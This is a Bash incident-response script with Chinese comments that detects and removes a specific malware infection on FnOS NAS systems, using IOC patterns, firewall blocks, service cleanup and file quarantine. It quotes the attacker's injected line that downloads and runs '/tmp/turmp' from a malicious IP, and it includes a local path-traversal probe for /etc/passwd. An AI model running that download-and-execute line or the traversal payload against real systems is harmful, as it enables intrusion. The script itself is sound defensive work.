#!/bin/bash

# ==========================================================
# FnOS 安全应急处置工具（交互式 · v2.1 精准版）
# ==========================================================
# v2.1:
#  - IOC 分级：STRICT / LOOSE，严格特征才参与删除/修复
#  - system_startup.sh 精准删除恶意行，避免误删正常 wget
#  - 增加 cron 持久化排查
#  - 增加哈希型 systemd 服务名检测
#  - 文件隔离增加命中原因，进程清理更收敛
# ==========================================================

LOG_FILE="/var/log/fnos_security_fix.log"
BACKUP_DIR="/root/fnos_quarantine_$(date +%F_%H%M%S)"

# --- 威胁情报特征库 (IOCs) ---

# 高置信度特征（可用于删除/修复）
STRICT_REGEX="45\.95\.212\.102|151\.240\.13\.91|turmp|gots|trim_https_cgi|snd_pcap|killaurasleep|8f2226523c594b2e17d68a05dc12702132bb1859fc4b01af378208ac8a2547dc"

# 宽松特征（用于检测提示，不直接作为删除依据）
LOOSE_REGEX="$STRICT_REGEX|bkd|bkd2|57132"

MALICIOUS_IPS=("45.95.212.102" "151.240.13.91")
MALICIOUS_DOMAINS=("xd.killaurasleep.top")
MALICIOUS_FILES=("bkd" "bkd2" "8f2226523c594b2e17d68a05dc12702132bb1859fc4b01af378208ac8a2547dc")

SCAN_DIRS=(
    "/usr/bin"
    "/usr/sbin"
    "/usr/trim"
    "/tmp"
    "/var/tmp"
    "/fnos/usr/trim"
    "/root"
)

# ---------------- 基础函数 ----------------

need_root() {
    if [ "$EUID" -ne 0 ]; then
        echo "❌ 请使用 root 权限运行（sudo -i）"
        exit 1
    fi
}

pause() {
    read -rp "👉 按回车继续..."
}

confirm() {
    read -rp "⚠️  $1 (y/N): " ans
    [[ "$ans" =~ ^[yY]$ ]]
}

log_init() {
    exec > >(tee -a "$LOG_FILE") 2>&1
    mkdir -p "$BACKUP_DIR"
    chmod 700 "$BACKUP_DIR"
}

banner() {
    clear
    cat <<'EOF'
====================================================
   FnOS 安全应急处置工具 v2.1 (精准 IOC 版)
====================================================
⚠️  覆盖威胁: gots / trim / snd_pcap / bkd / killaurasleep
📌  操作逻辑: 隔离文件 -> 阻断网络 -> 清理服务 -> 修复启动项
====================================================
EOF
}

# ---------------- 检测模块 ----------------

path_traversal_check() {
    echo "🔍 [1] 检测路径穿越漏洞..."
    URL="http://127.0.0.1:5666/app-center-static/serviceicon/myapp/%7B0%7D/?size=../../../../etc/passwd"
    if curl -s --max-time 3 "$URL" | grep -q "root:x:0:0"; then
        echo "❌ [严重] 存在路径穿越漏洞（建议立即升级 FnOS 系统）"
    else
        echo "✅ 未触发路径穿越漏洞"
    fi
}

infection_scan() {
    echo "🔍 [2] 扫描是否已中招（基于最新情报）..."
    local hit=0

    # 1. 检查内核模块
    if lsmod | grep -q snd_pcap; then
        echo "❌ 已加载恶意内核模块: snd_pcap"
        hit=1
    fi

    # 2. 检查恶意进程（基于文件名）
    for proc in "${MALICIOUS_FILES[@]}"; do
        if pgrep -f "$proc" >/dev/null; then
            echo "❌ 发现疑似恶意进程正在运行: $proc"
            hit=1
        fi
    done

    # 3. 检查恶意 Systemd 服务文件内容
    if grep -RqsE "$STRICT_REGEX" /etc/systemd/system/ 2>/dev/null; then
        echo "❌ 在 Systemd 服务文件中发现恶意特征"
        hit=1
    fi

    # 4. 检查哈希型服务名
    for svc in /etc/systemd/system/*.service; do
        [ ! -f "$svc" ] && continue
        base=$(basename "$svc")
        if [[ "$base" =~ ^[0-9a-f]{64}\.service$ ]]; then
            echo "❌ 发现可疑哈希服务名: $base"
            hit=1
        fi
    done

    # 5. 特征扫描（关键位置，使用 STRICT）
    if grep -RqsE "$STRICT_REGEX" /fnos/usr/trim /etc/rc.local /etc/ld.so.preload 2>/dev/null; then
        echo "❌ 在系统关键位置发现恶意特征字符串"
        hit=1
    fi

    # 6. cron 持久化检查
    if grep -RqsE "$STRICT_REGEX" /etc/crontab /etc/cron.d 2>/dev/null; then
        echo "❌ 在系统级 cron 中发现恶意特征"
        hit=1
    fi
    if crontab -l 2>/dev/null | grep -Eq "$STRICT_REGEX"; then
        echo "❌ 在 root 用户 crontab 中发现恶意特征"
        hit=1
    fi

    if [ "$hit" -eq 0 ]; then
        echo "✅ 未发现明显入侵迹象"
    else
        echo "⚠️  系统疑似已被入侵（建议执行自动修复模式）"
    fi
}

# ---------------- 修复模块 ----------------

block_network() {
    echo "🛑 [3] 阻断恶意通信..."

    # 备份 hosts
    cp /etc/hosts "$BACKUP_DIR/hosts.bak" 2>/dev/null

    # 1. IP 封禁 (NFT / iptables)
    if command -v nft >/dev/null; then
        nft list table inet fnos_guard >/dev/null 2>&1 || nft add table inet fnos_guard
        nft list chain inet fnos_guard output >/dev/null 2>&1 || \
            nft add chain inet fnos_guard output { type filter hook output priority 0 \; }
        for ip in "${MALICIOUS_IPS[@]}"; do
            nft add rule inet fnos_guard output ip daddr "$ip" drop 2>/dev/null
        done
        echo "   - [防火墙] 已封禁恶意 IP (nftables)"
    elif command -v iptables >/dev/null; then
        for ip in "${MALICIOUS_IPS[@]}"; do
            iptables -C OUTPUT -d "$ip" -j DROP 2>/dev/null || \
            iptables -I OUTPUT -d "$ip" -j DROP
        done
        echo "   - [防火墙] 已封禁恶意 IP (iptables)"
    else
        echo "   - 未检测到 nft/iptables，跳过 IP 封禁"
    fi

    # 2. 域名 Sinkhole (Hosts 劫持)
    for domain in "${MALICIOUS_DOMAINS[@]}"; do
        if ! grep -q "$domain" /etc/hosts; then
            echo "127.0.0.1 $domain" >> /etc/hosts
            echo "   - [Hosts] 已劫持域名: $domain"
        else
            echo "   - [Hosts] 域名已劫持: $domain"
        fi
    done
    echo "✅ 网络阻断策略已应用"
}

kill_process() {
    echo "🔪 [4] 终止恶意进程..."

    # 1. 基于文件名的进程
    for proc in "${MALICIOUS_FILES[@]}"; do
        pids=$(pgrep -f "$proc")
        if [ -n "$pids" ]; then
            echo "   - 正在终止进程: $proc (PID: $pids)"
            kill -9 $pids 2>/dev/null
        fi
    done

    # 2. 更精准：命令行中同时包含关键 IOC 的进程
    pgrep -af "bkd" 2>/dev/null | grep -E "killaurasleep|151\.240\.13\.91" | awk '{print $1}' | xargs -r kill -9 2>/dev/null
    pgrep -af "turmp" 2>/dev/null | awk '{print $1}' | xargs -r kill -9 2>/dev/null

    echo "✅ 进程清理完成"
}

clean_systemd_services() {
    echo "🧹 [5] 清理恶意 Systemd 服务..."

    # 1. 基于内容 IOC 的服务文件
    grep -lE "$STRICT_REGEX" /etc/systemd/system/*.service 2>/dev/null | while read -r service_file; do
        [ -z "$service_file" ] && continue
        service_name=$(basename "$service_file")
        echo "   🚨 发现恶意服务(内容命中): $service_name"

        systemctl stop "$service_name" 2>/dev/null
        systemctl disable "$service_name" 2>/dev/null

        chattr -i "$service_file" 2>/dev/null
        cp "$service_file" "$BACKUP_DIR/"
        rm -f "$service_file"
        echo "   - 已移除并备份服务文件"
    done

    # 2. 基于哈希型服务名的检测
    for service_file in /etc/systemd/system/*.service; do
        [ ! -f "$service_file" ] && continue
        service_name=$(basename "$service_file")
        if [[ "$service_name" =~ ^[0-9a-f]{64}\.service$ ]]; then
            echo "   🚨 发现可疑哈希服务名: $service_name"
            systemctl stop "$service_name" 2>/dev/null
            systemctl disable "$service_name" 2>/dev/null

            chattr -i "$service_file" 2>/dev/null
            cp "$service_file" "$BACKUP_DIR/"
            rm -f "$service_file"
            echo "   - 已移除并备份哈希服务文件"
        fi
    done

    systemctl daemon-reload
    echo "✅ Systemd 服务清理完成"
}

scan_and_quarantine() {
    echo "🔎 [6] 深度扫描并隔离文件..."

    for dir in "${SCAN_DIRS[@]}"; do
        [ ! -d "$dir" ] && continue
        echo "   正在扫描目录: $dir"

        find "$dir" -maxdepth 3 -type f -executable -mtime -30 2>/dev/null | while read -r f; do
            [ "$f" == "$0" ] && continue

            filename=$(basename "$f")
            match=0
            reason=""

            # 1. 文件名命中恶意列表（高置信度）
            for bad_name in "${MALICIOUS_FILES[@]}"; do
                if [[ "$filename" == "$bad_name" ]]; then
                    match=1
                    reason="name-hit:$bad_name"
                    break
                fi
            done

            # 2. 内容命中严格 IOC（更安全）
            if [ $match -eq 0 ]; then
                if strings "$f" 2>/dev/null | grep -Eq "$STRICT_REGEX"; then
                    match=1
                    reason="content-hit:STRICT"
                fi
            fi

            # 3. 可选：内容命中组合 IOC（网络 + 域名）
            if [ $match -eq 0 ]; then
                if strings "$f" 2>/dev/null | grep -q "151\.240\.13\.91" && \
                   strings "$f" 2>/dev/null | grep -q "killaurasleep"; then
                    match=1
                    reason="content-hit:IP+domain"
                fi
            fi

            if [ $match -eq 1 ]; then
                echo "🚨 发现威胁文件: $f  （原因: $reason）"
                chattr -i "$f" 2>/dev/null
                fuser -k "$f" 2>/dev/null
                mv "$f" "$BACKUP_DIR/$(basename "$f")_$(date +%s).infected"
                echo "   -> 已隔离至备份目录"
            fi
        done
    done
    echo "✅ 文件扫描完成"
}

remove_kernel_module() {
    echo "🧠 [7] 清理恶意内核模块..."
    if lsmod | grep -q snd_pcap; then
        echo "   - 发现 snd_pcap，尝试卸载..."
        modprobe -r snd_pcap 2>/dev/null || rmmod -f snd_pcap 2>/dev/null
        if lsmod | grep -q snd_pcap; then
             echo "❌ 卸载失败，可能需要重启系统进入恢复模式处理"
        else
             echo "✅ snd_pcap 已卸载"
        fi
    else
        echo "ℹ️ 未发现 snd_pcap 模块"
    fi
}

fix_persistence_common() {
    echo "🔧 [8] 修复通用持久化配置..."

    # 修复 ld.so.preload（仅删除 STRICT 命中的行）
    if [ -f /etc/ld.so.preload ]; then
        if grep -Eq "$STRICT_REGEX" /etc/ld.so.preload; then
            echo "   - 修复 /etc/ld.so.preload"
            chattr -i /etc/ld.so.preload 2>/dev/null
            cp /etc/ld.so.preload "$BACKUP_DIR/ld.so.preload.bak"
            sed -i -E "/$STRICT_REGEX/d" /etc/ld.so.preload
            [ ! -s /etc/ld.so.preload ] && rm -f /etc/ld.so.preload
        fi
    fi

    # 修复 rc.local（仅删除 STRICT 命中的行）
    if [ -f /etc/rc.local ]; then
         if grep -Eq "$STRICT_REGEX" /etc/rc.local; then
            echo "   - 修复 /etc/rc.local"
            chattr -i /etc/rc.local 2>/dev/null
            cp /etc/rc.local "$BACKUP_DIR/rc.local.bak"
            sed -i -E "/$STRICT_REGEX/d" /etc/rc.local
         fi
    fi

    # 修复 cron（备份后删除 STRICT 命中的行）
    if [ -f /etc/crontab ]; then
        if grep -Eq "$STRICT_REGEX" /etc/crontab; then
            echo "   - 修复 /etc/crontab"
            cp /etc/crontab "$BACKUP_DIR/crontab.bak"
            sed -i -E "/$STRICT_REGEX/d" /etc/crontab
        fi
    fi
    if ls /etc/cron.d/* >/dev/null 2>&1; then
        for f in /etc/cron.d/*; do
            [ ! -f "$f" ] && continue
            if grep -Eq "$STRICT_REGEX" "$f"; then
                echo "   - 修复 cron.d: $f"
                cp "$f" "$BACKUP_DIR/$(basename "$f").bak"
                sed -i -E "/$STRICT_REGEX/d" "$f"
            fi
        done
    fi
    if crontab -l 2>/dev/null | grep -Eq "$STRICT_REGEX"; then
        echo "   - 修复 root crontab"
        crontab -l > "$BACKUP_DIR/root.crontab.bak"
        crontab -l | sed -E "/$STRICT_REGEX/d" | crontab -
    fi

    echo "✅ 持久化配置检查完成"
}

fix_fnos_system_startup() {
    FILE="/usr/trim/bin/system_startup.sh"

    echo "🔧 [9] 修复 FnOS 特定启动项..."

    [ ! -f "$FILE" ] && { echo "ℹ️ 未找到 $FILE，跳过"; return; }

    # 仅用于判断是否疑似被篡改
    if grep -Eq "151\.240\.13\.91|turmp|killaurasleep" "$FILE"; then
        echo "❌ 在 system_startup.sh 中发现疑似恶意代码"

        chattr -i "$FILE" 2>/dev/null
        cp "$FILE" "$BACKUP_DIR/system_startup.sh.bak"

        # 精准删除已知恶意注入行：
        # wget http://151.240.13.91/turmp -O /tmp/turmp ; chmod 777 /tmp/turmp ; /tmp/turmp
        sed -i '\|wget http://151\.240\.13\.91/turmp -O /tmp/turmp ; chmod 777 /tmp/turmp ; /tmp/turmp|d' "$FILE"

        # 兼容未来 turmp 变种（仍然保持行为链特征）
        sed -i '/wget .*turmp .*chmod .*turmp .*\/tmp\/turmp/d' "$FILE"

        echo "✅ 恶意启动行已清除（原文件已备份）"
    else
        echo "✅ system_startup.sh 未发现异常特征"
    fi
}

# ---------------- 主流程 ----------------

need_root
log_init
banner

echo "请选择操作模式："
echo "  1) 仅检测（推荐先跑，无风险）"
echo "  2) 自动修复（执行阻断、清理、修复）"
echo "  3) 仅封禁网络（防火墙 + Hosts）"
echo "  4) 退出"
echo

read -rp "请输入选项 [1-4]: " MODE

case "$MODE" in
1)
    path_traversal_check
    infection_scan
    ;;
2)
    echo "----------------------------------------------------"
    echo "⚠️  注意：修复过程中会停止恶意进程并移动文件。"
    confirm "建议您已备份重要数据。是否开始执行？" || exit 0
    echo "----------------------------------------------------"

    block_network           # 先断网，防止下载新样本
    kill_process            # 杀进程，防止锁文件
    clean_systemd_services  # 清理 systemd 服务（含哈希服务名）
    remove_kernel_module    # 卸载内核模块
    fix_persistence_common  # 修复 rc.local / ld.so.preload / cron
    fix_fnos_system_startup # 修复 FnOS 特有脚本
    scan_and_quarantine     # 最后扫描残留文件
    ;;
3)
    block_network
    ;;
*)
    echo "👋 已退出"
    exit 0
esac

echo
echo "===================================================="
echo "✅ 操作已结束"
echo "📁 隔离文件目录: $BACKUP_DIR"
echo "📄 详细日志记录: $LOG_FILE"
echo "💡 安全建议："
echo "   1. 立即修改 SSH 密码和 FnOS 后台密码"
echo "   2. 检查 /root/.ssh/authorized_keys 是否有陌生公钥"
echo "   3. 建议重启系统以确保所有内存加载项已清除"
echo "   4. 如有疑虑，可将日志与隔离文件交给安全团队复核"
echo "===================================================="